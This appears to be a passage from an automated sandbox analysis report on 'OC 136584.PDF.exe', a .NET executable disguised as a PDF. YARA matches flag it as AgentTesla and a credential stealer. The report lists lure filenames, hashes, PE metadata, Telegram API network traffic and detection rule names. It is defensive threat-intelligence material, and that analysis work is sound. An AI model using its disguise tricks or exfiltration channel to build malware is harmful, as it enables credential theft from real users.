	PO20-001602-1.exe	Get hash	malicious	Browse	149.154.167.220

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Quote_13940007.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Variant.Zusy.368685.25618.exe	Get hash	malicious	Browse	149.154.167.220
	SKBM 0222.exe	Get hash	malicious	Browse	149.154.167.220
	8WjU4jrBIr.exe	Get hash	malicious	Browse	149.154.167.220
	crypted.exe	Get hash	malicious	Browse	149.154.167.220
	PO-735643-SALES.exe	Get hash	malicious	Browse	149.154.167.220
	SecuriteInfo.com.Mal.Generic-S.15142.exe	Get hash	malicious	Browse	149.154.167.220
	LIQUIDACION INTERBANCARIA 02_22_2021.xls	Get hash	malicious	Browse	149.154.167.220
	muOvK6dngg.exe	Get hash	malicious	Browse	149.154.167.220
	SKBM 0222..exe	Get hash	malicious	Browse	149.154.167.220
	Vessel Line Up 7105082938.exe	Get hash	malicious	Browse	149.154.167.220
	ProtonVPN.exe	Get hash	malicious	Browse	149.154.167.220
	PO 86540.exe	Get hash	malicious	Browse	149.154.167.220
	RTM DIAS - CTM.exe	Get hash	malicious	Browse	149.154.167.220
	uTorrent.exe	Get hash	malicious	Browse	149.154.167.220
	hreheh.exe	Get hash	malicious	Browse	149.154.167.220
	JFAaEh5hB6.exe	Get hash	malicious	Browse	149.154.167.220
	Dmjsru7tdt.exe	Get hash	malicious	Browse	149.154.167.220
	Documents_pdf.exe	Get hash	malicious	Browse	149.154.167.220
	BANK SWIFT- USD 98,712.00.pdf.exe	Get hash	malicious	Browse	149.154.167.220

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\OC 136584.PDF.exe.log Download File
Process:	C:\Users\user\Desktop\OC 136584.PDF.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4x84qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4j:MIHK5HKXE1qHxviYHKhQnoPtHoxHhAHY
MD5:	69206D3AF7D6EFD08F4B4726998856D3
SHA1:	E778D4BF781F7712163CF5E2F5E7C15953E484CF
SHA-256:	A937AD22F9C3E667A062BA0E116672960CD93522F6997C77C00370755929BA87
SHA-512:	CD270C3DF75E548C9B0727F13F44F45262BD474336E89AAEBE56FABFE8076CD4638F88D3C0837B67C2EB3C54055679B07E4212FB3FEDBF88C015EB5DBBCD7FF8
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.505996390400658
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	OC 136584.PDF.exe
File size:	534528
MD5:	cd02744201573e3ac3c7dfde851005f3
SHA1:	3d39dd04c23ba52ed6f660e51e7510fef647186b
SHA256:	559bf7a1059928bb51ba72f92ff7c8348b219c0bcc92e59376a4d0f553ae3ee7
SHA512:	ff7f72c4847228a217a38a822217de735641476ab6a9430de49c9de2b71d816b5387abc9b290d79e39c2524686db4542688c5b80db39d19d8467f34b3295d1e5
SSDEEP:	12288:mfWysvBqTZ2MUWv4rzPdwFLhFH1rrQBPyBL9wht:mfWyoqTNSvlYzuRyBL
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....4`..............P..............:... ...@....@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x483a16
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6034067F [Mon Feb 22 19:31:11 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x839c4	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x84000	0x620	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x81a1c	0x81c00	False	0.784209793473	data	7.52188684985	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x84000	0x620	0x800	False	0.33349609375	data	3.46671523025	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x86000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x84090	0x390	data
RT_MANIFEST	0x84430	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright Microsoft 2014
Assembly Version	1.0.0.0
InternalName	RSAOAEPKeyExchangeDeformatter.exe
FileVersion	1.0.0.0
CompanyName	Microsoft
LegalTrademarks
Comments
ProductName	WinClient
ProductVersion	1.0.0.0
FileDescription	WinClient
OriginalFilename	RSAOAEPKeyExchangeDeformatter.exe

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 23, 2021 10:16:14.067445993 CET	49750	443	192.168.2.7	149.154.167.220
Feb 23, 2021 10:16:14.117803097 CET	443	49750	149.154.167.220	192.168.2.7
Feb 23, 2021 10:16:14.119429111 CET	49750	443	192.168.2.7	149.154.167.220
Feb 23, 2021 10:16:14.171078920 CET	49750	443	192.168.2.7	149.154.167.220
Feb 23, 2021 10:16:14.221415043 CET	443	49750	149.154.167.220	192.168.2.7
Feb 23, 2021 10:16:14.221463919 CET	443	49750	149.154.167.220	192.168.2.7
Feb 23, 2021 10:16:14.221487045 CET	443	49750	149.154.167.220	192.168.2.7
Feb 23, 2021 10:16:14.221509933 CET	443	49750	149.154.167.220	192.168.2.7
Feb 23, 2021 10:16:14.221529007 CET	443	49750	149.154.167.220	192.168.2.7
Feb 23, 2021 10:16:14.221612930 CET	49750	443	192.168.2.7	149.154.167.220
Feb 23, 2021 10:16:14.222774982 CET	443	49750	149.154.167.220	192.168.2.7
Feb 23, 2021 10:16:14.222812891 CET	443	49750	149.154.167.220	192.168.2.7
Feb 23, 2021 10:16:14.223772049 CET	49750	443	192.168.2.7	149.154.167.220
Feb 23, 2021 10:16:14.231332064 CET	49750	443	192.168.2.7	149.154.167.220
Feb 23, 2021 10:16:14.281833887 CET	443	49750	149.154.167.220	192.168.2.7
Feb 23, 2021 10:16:14.330393076 CET	49750	443	192.168.2.7	149.154.167.220
Feb 23, 2021 10:16:14.366359949 CET	49750	443	192.168.2.7	149.154.167.220
Feb 23, 2021 10:16:14.417613983 CET	443	49750	149.154.167.220	192.168.2.7
Feb 23, 2021 10:16:14.422624111 CET	49750	443	192.168.2.7	149.154.167.220
Feb 23, 2021 10:16:14.514781952 CET	443	49750	149.154.167.220	192.168.2.7
Feb 23, 2021 10:16:14.548568010 CET	443	49750	149.154.167.220	192.168.2.7
Feb 23, 2021 10:16:14.596049070 CET	49750	443	192.168.2.7	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 23, 2021 10:14:08.204071999 CET	56590	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:08.263199091 CET	53	56590	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:09.277232885 CET	60501	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:09.326216936 CET	53	60501	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:12.617805004 CET	53775	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:12.669291019 CET	53	53775	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:14.051386118 CET	51837	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:14.100642920 CET	53	51837	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:14.987487078 CET	55411	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:15.036165953 CET	53	55411	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:16.252763033 CET	63668	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:16.310053110 CET	53	63668	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:17.974282026 CET	54640	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:18.023017883 CET	53	54640	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:18.775087118 CET	58739	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:18.823709011 CET	53	58739	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:19.741203070 CET	60338	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:19.790915012 CET	53	60338	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:20.575700045 CET	58717	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:20.624413013 CET	53	58717	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:23.150199890 CET	59762	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:23.208918095 CET	53	59762	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:24.310127974 CET	54329	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:24.359009981 CET	53	54329	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:25.192791939 CET	58052	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:25.241801977 CET	53	58052	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:26.194890022 CET	54008	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:26.243719101 CET	53	54008	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:30.639187098 CET	59451	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:30.690882921 CET	53	59451	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:33.303613901 CET	52914	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:33.365236998 CET	53	52914	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:33.474751949 CET	64569	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:33.523542881 CET	53	64569	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:34.684807062 CET	52816	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:34.736526966 CET	53	52816	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:35.984615088 CET	50781	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:36.036494970 CET	53	50781	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:36.930886030 CET	54230	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:36.982584000 CET	53	54230	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:37.800461054 CET	54911	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:37.849299908 CET	53	54911	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:38.692162037 CET	49958	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:38.740888119 CET	53	49958	8.8.8.8	192.168.2.7
Feb 23, 2021 10:14:47.218127966 CET	50860	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:14:47.269622087 CET	53	50860	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:03.083425045 CET	50452	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:03.140851974 CET	53	50452	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:04.790332079 CET	59730	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:04.839184999 CET	53	59730	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:12.987952948 CET	59310	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:13.051109076 CET	53	59310	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:13.742677927 CET	51919	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:13.791402102 CET	53	51919	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:14.403383970 CET	64296	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:14.463449955 CET	53	64296	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:14.943226099 CET	56680	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:15.000531912 CET	53	56680	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:15.466594934 CET	58820	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:15.530623913 CET	53	58820	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:16.061304092 CET	60983	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:16.130430937 CET	53	60983	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:16.318660975 CET	49247	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:16.375713110 CET	53	49247	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:17.313102961 CET	52286	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:17.370675087 CET	53	52286	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:18.210941076 CET	56064	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:18.271023989 CET	53	56064	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:18.293623924 CET	63744	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:18.357074976 CET	53	63744	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:19.578265905 CET	61457	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:19.638094902 CET	53	61457	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:20.239558935 CET	58367	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:20.301743031 CET	53	58367	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:50.199729919 CET	60599	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:50.264888048 CET	53	60599	8.8.8.8	192.168.2.7
Feb 23, 2021 10:15:53.303788900 CET	59571	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:15:53.352643967 CET	53	59571	8.8.8.8	192.168.2.7
Feb 23, 2021 10:16:08.229257107 CET	52689	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:16:08.279499054 CET	53	52689	8.8.8.8	192.168.2.7
Feb 23, 2021 10:16:13.988753080 CET	50290	53	192.168.2.7	8.8.8.8
Feb 23, 2021 10:16:14.040211916 CET	53	50290	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 23, 2021 10:16:13.988753080 CET	192.168.2.7	8.8.8.8	0x5fdc	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Feb 23, 2021 10:16:14.040211916 CET	8.8.8.8	192.168.2.7	0x5fdc	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Feb 23, 2021 10:16:14.222774982 CET	149.154.167.220	443	192.168.2.7	49750	CN=api.telegram.org, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Mar 24 14:48:17 CET 2020 Tue May 03 09:00:00 CEST 2011 Wed Jan 01 08:00:00 CET 2014 Tue Jun 29 19:06:20 CEST 2004	Mon May 23 18:17:38 CEST 2022 Sat May 03 09:00:00 CEST 2031 Fri May 30 09:00:00 CEST 2031 Thu Jun 29 19:06:20 CEST 2034	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	3b5074b1b5d032e5620f69f9f700ff0e
					CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031
					CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Wed Jan 01 08:00:00 CET 2014	Fri May 30 09:00:00 CEST 2031
					OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group, Inc.", C=US	Tue Jun 29 19:06:20 CEST 2004	Thu Jun 29 19:06:20 CEST 2034

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: OC 136584.PDF.exe PID: 6736 Parent PID: 5784

General

Start time:	10:14:15
Start date:	23/02/2021
Path:	C:\Users\user\Desktop\OC 136584.PDF.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\OC 136584.PDF.exe'
Imagebase:	0x140000
File size:	534528 bytes
MD5 hash:	CD02744201573E3AC3C7DFDE851005F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.262677197.0000000002511000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.266834340.0000000003519000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.262887194.000000000254D000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: OC 136584.PDF.exe PID: 6988 Parent PID: 6736

General

Start time:	10:14:28
Start date:	23/02/2021
Path:	C:\Users\user\Desktop\OC 136584.PDF.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\OC 136584.PDF.exe
Imagebase:	0x190000
File size:	534528 bytes
MD5 hash:	CD02744201573E3AC3C7DFDE851005F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: OC 136584.PDF.exe PID: 6996 Parent PID: 6736

General

Start time:	10:14:29
Start date:	23/02/2021
Path:	C:\Users\user\Desktop\OC 136584.PDF.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\OC 136584.PDF.exe
Imagebase:	0x10000
File size:	534528 bytes
MD5 hash:	CD02744201573E3AC3C7DFDE851005F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: OC 136584.PDF.exe PID: 7124 Parent PID: 6736

General

Start time:	10:14:29
Start date:	23/02/2021
Path:	C:\Users\user\Desktop\OC 136584.PDF.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\OC 136584.PDF.exe
Imagebase:	0x5f0000
File size:	534528 bytes
MD5 hash:	CD02744201573E3AC3C7DFDE851005F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.498958297.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.505611814.0000000002BF1000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: OC 136584.PDF.exe PID: 6736 Parent PID: 5784 OC 136584.PDF.exeCOMMON

Executed Functions

Function 06AA0040, Relevance: 4.6, Strings: 3, Instructions: 891COMMON

Download Yara Rule

Strings

D0%l, xrefs: 06AA0488
D0%l, xrefs: 06AA0515
D0%l, xrefs: 06AA0615

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID:
String ID: D0%l$D0%l$D0%l
API String ID: 0-1586913657
Opcode ID: 57528e6b4722c0a777bdd23370847b30415bffd97a626071300c8161169a6a82
Instruction ID: f02bccf968ae379e44bc0dc4477517fd8c2930ba9d167711c3a5b3d4d3180aee
Opcode Fuzzy Hash: 57528e6b4722c0a777bdd23370847b30415bffd97a626071300c8161169a6a82
Instruction Fuzzy Hash: F8727270E002199FDB54EF68C994AAEBBF2BF88348F15816AE805DB351DB34DD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06AAEA30, Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 909f1c6c7a56817b721c5fbbea77493fc74604cbec7ae6c96340ff546c2001ef
Instruction ID: 67fae42b38218c18023bbf4a1649dc29a7a5d1a956c2b0ff0024f56f7fdc92d1
Opcode Fuzzy Hash: 909f1c6c7a56817b721c5fbbea77493fc74604cbec7ae6c96340ff546c2001ef
Instruction Fuzzy Hash: 70B18E71A003198FCB54EF69C884AADBBB1FF84314F16C56AE815AB361DB30ED45DB90

Uniqueness

Uniqueness Score: -1.00%

Function 06AA8EF0, Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4ebb704b0176613a730a0c666c9feecda0df6906e1d2cfeafeac5ca0550bee4
Instruction ID: fbe24c718855dbe2f8a44ed8373678ef5de7d5a067e587a0bbe14426646fdfec
Opcode Fuzzy Hash: c4ebb704b0176613a730a0c666c9feecda0df6906e1d2cfeafeac5ca0550bee4
Instruction Fuzzy Hash: FB9125B4E142098FDB44EFE9C5446AEFBF2AF89314F15C02AD518AB319D7349D42CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AA8EE0, Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2f20f072dc1895edde8ce7fe3028a00314f91b4227b499d2f5c51d96c6b726a
Instruction ID: ea1a205b57ab6bdf6e8f0d5c22c003b4561598f6b2ec6b0af0774ac089af4261
Opcode Fuzzy Hash: e2f20f072dc1895edde8ce7fe3028a00314f91b4227b499d2f5c51d96c6b726a
Instruction Fuzzy Hash: 5E6117B4E042498FEB44EFE9C5446AEFBF2AF89314F14C02AD518AB318E7359D41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06AAFD8B, Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.271476257.0000000006AA0000.00000040.00000001.sdmp, Offset: 06AA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b32d72625d068f913d8c941da4ee0499b4eb2ccf464b993c8d61a3857b2e3b8
Instruction ID: fd44f84c86700ff2db37ce0d0ee7d6041edf8f8048c432d44146704176f2c3d0
Opcode Fuzzy Hash: 9b32d72625d068f913d8c941da4ee0499b4eb2ccf464b993c8d61a3857b2e3b8
